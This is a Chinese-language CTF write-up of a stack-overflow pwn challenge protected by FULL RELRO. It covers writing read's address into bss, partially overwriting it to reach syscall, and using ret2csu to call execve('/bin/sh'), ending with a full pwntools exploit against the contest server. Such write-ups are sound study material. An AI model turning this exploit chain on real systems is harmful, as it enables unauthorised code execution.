这次比赛难度比较大 只做出了一题 不过哪怕是这一题都有很大的收获 记录一下
linkmap
开启了FULL RELRO 导致got表不可写 这将成为我们后续利用的一大阻碍
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[16];
sub_40071B(a1, a2, a3); read(0, buf, 0x100uLL); return 0LL; }
|
程序的主体逻辑非常简单 单单提供了一次栈溢出的机会
不过还给了几个看起来很奇怪的函数 我们发现他们的功能都是可以往bss段写入数据
__int64 __fastcall sub_400606(int a1, int a2, int a3) { __int64 result; __int64 v4;
v4 = *(_QWORD *)(qword_601040 + a1); qword_601040 = v4; result = (unsigned int)a1; dword_601048 = a1; if ( a2 == 1 ) { result = v4; qword_601028[a3] = v4; } else if ( !a2 ) { result = v4; qword_601020[a3] = v4; } return result; }
|
重点观察一下上面的函数 前两行我们可以把任意地址的内容写到任意地址上
像这种没有提供输出函数的栈溢出题目 一般都是通过覆盖got表 要么是覆盖setvbuf来获得puts函数
要么是覆盖read函数来获得syscall 但是由于这题开启了got表 一开始我是想打消念头的
但是不知道你还记不记得 在栈的学习初期 我们学过ret2csu 其调用函数时通过call指令来调用的
.text:00000000004007C0 mov rdx, r13 .text:00000000004007C3 mov rsi, r14 .text:00000000004007C6 mov edi, r15d .text:00000000004007C9 call qword ptr [r12+rbx*8] .text:00000000004007CD add rbx, 1 .text:00000000004007D1 cmp rbx, rbp .text:00000000004007D4 jnz short loc_4007C0 .text:00000000004007D6 .text:00000000004007D6 loc_4007D6: ; CODE XREF: init+34↑j .text:00000000004007D6 add rsp, 8 .text:00000000004007DA pop rbx .text:00000000004007DB pop rbp .text:00000000004007DC pop r12 .text:00000000004007DE pop r13 .text:00000000004007E0 pop r14 .text:00000000004007E2 pop r15 .text:00000000004007E4 retn
|
这题之所以困扰我们 是因为开启了FULL RELRO导致的got表不可覆盖 那么如果我们利用漏洞函数把read函数的真实地址写到bss段 而bss段是可以写的 我们可以将其覆盖最后一位为syscall 随后利用ret2csu来调用 就可以达到目的
随后我们利用read函数输入0x3b个字节 就可以达到控制rax寄存器 随后设置rdi寄存器和rsi寄存器 最后调用syscall 就可以实现execve(“/bin/sh”,0)
难点主要在于无法同时进行read控制rax和ret2csu 这样会导致输入的长度过多 我们需要把ret2csu部分的payload单独放到其他内存 然后在控制完rax寄存器后跳转过去
完整exp:
from pwn import* from ctypes import *
io = remote("pwn-b5c90fa468.challenge.xctf.org.cn", 9999, ssl=True) elf = ELF("./pwn") context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so") context.arch = "amd64"
def debug(): gdb.attach(io) pause()
rdi_addr = 0x00000000004007e3 setvbuf_got = elf.got['setvbuf'] ptr_read = 0x400752 csu_addr = 0x4007DA csu2_addr = 0x4007C0 main_addr = 0x400740 read_addr = elf.sym['read'] read_got = elf.got['read'] magic_addr = 0x601030 rbp_addr = 0x0000000000400570 rsp_addr = 0x00000000004007dd a_addr = 0x40067c rsi_r15 = 0x00000000004007e1 payload = cyclic(0x10)+p64(elf.bss(0x500)+0x10)+p64(ptr_read) sleep(0.5) io.send(payload) payload = cyclic(0x8)+p64(ptr_read)+p64(elf.bss(0x500))+p64(rdi_addr)+p64(read_got)+p64(0x400606)+p64(ptr_read) sleep(0.5) io.send(payload) payload = b'/bin/sh\x00'+cyclic(0x8)+p64(elf.bss(0xa00))+p64(ptr_read)+cyclic(0x10)+b'\x90' sleep(0.5) io.send(payload)
payload = cyclic(0x10)+p64(elf.bss(0x800))+p64(ptr_read)+p64(csu_addr)+p64(0)+p64(1)+p64(0x601530)+p64(0)+p64(0)+p64(0x601500)+p64(csu2_addr) sleep(0.5) io.send(payload)
payload = cyclic(0x10)+p64(elf.bss(0x800))+p64(read_addr) sleep(0.5) io.send(payload)
payload = p64(csu_addr)+cyclic(0x18)+p64(rsp_addr)+p64(elf.bss(0xa00)-0x8)+p64(0)+cyclic(0x3)
sleep(0.5) io.send(payload)
io.interactive()
|